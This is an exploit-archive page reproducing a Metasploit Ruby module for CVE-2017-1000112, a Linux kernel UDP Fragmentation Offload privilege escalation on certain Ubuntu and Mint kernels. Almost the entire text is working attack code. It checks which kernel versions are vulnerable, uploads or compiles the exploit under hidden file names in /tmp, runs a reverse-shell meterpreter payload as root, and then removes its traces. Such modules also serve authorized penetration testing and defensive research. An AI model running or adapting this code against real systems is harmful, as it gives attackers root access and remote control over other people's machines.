Linux Kernel – UDP Fragmentation Offset ‘UFO’ Privilege Escalation (Metasploit)

  • 作者： Metasploit
    日期： 2018-08-03
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/45147/
  • ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation',
'Description'=> %q{
This module attempts to gain root privileges on Linux systems by abusing
UDP Fragmentation Offload (UFO).

This exploit targets only systems using Ubuntu (Trusty / Xenial) kernels
4.4.0-21 <= 4.4.0-89 and 4.8.0-34 <= 4.8.0-58, including Linux distros
based on Ubuntu, such as Linux Mint.

The target system must have unprivileged user namespaces enabled
and SMAP disabled.

Bypasses for SMEP and KASLR are included. Failed exploitation
may crash the kernel.

This module has been tested successfully on various Ubuntu and Linux
Mint systems, including:

Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop;
Ubuntu 16.04 4.8.0-53-generic;
Linux Mint 17.3 4.4.0-89-generic;
Linux Mint 18 4.8.0-58-generic
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Andrey Konovalov', # Discovery and C exploit
'h00die', # Metasploit module
'Brendan Coles' # Metasploit module
],
'DisclosureDate' => 'Aug 10 2017',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets'=> [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'CVE', '2017-1000112' ],
[ 'EDB', '43418' ],
[ 'BID', '100262' ],
[ 'URL', 'http://seclists.org/oss-sec/2017/q3/277' ],
[ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa' ],
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2017-1000112' ],
[ 'URL', 'https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/' ],
[ 'URL', 'https://ricklarabee.blogspot.com/2017/12/adapting-poc-for-cve-2017-1000112-to.html' ],
[ 'URL', 'https://github.com/bcoles/kernel-exploits/commits/cve-2017-1000112' ]
],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'DefaultTarget'=> 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
end

def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end

def upload_and_compile(path, data)
upload "#{path}.c", data

gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
rm_f "#{path}.c"

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end

cmd_exec "chmod +x #{path}"
end

def exploit_data(file)
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-1000112', file
fd = ::File.open path, 'rb'
data = fd.read fd.stat.size
fd.close
data
end

def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

if has_gcc?
vprint_good 'gcc is installed'
return true
end

unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end

def check
version = kernel_release
unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|45|47|51|53|57|59|62|63|64|66|67|70|71|72|75|78|79|81|83|87|89|81|89)-generic/ ||
 version =~ /^4\.8\.0-(34|36|39|41|45|46|49|51|52|53|54|56|58)-generic/
vprint_error "Linux kernel version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Linux kernel version #{version} is vulnerable"

vprint_status 'Checking if SMAP is enabled ...'
if smap_enabled?
vprint_error 'SMAP is enabled'
return CheckCode::Safe
end
vprint_good 'SMAP is not enabled'

arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"

unless userns_enabled?
vprint_error 'Unprivileged user namespaces are not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged user namespaces are permitted'

CheckCode::Appears
end

def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
end

if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

# Upload exploit executable
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, exploit_data('exploit.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('exploit.out')
end

# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe

# Launch exploit
print_status 'Launching exploit ...'
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}"
output.each_line { |line| vprint_status line.chomp }
print_status "Cleaning up #{payload_path} and #{executable_path} ..."
rm_f executable_path
rm_f payload_path
end
end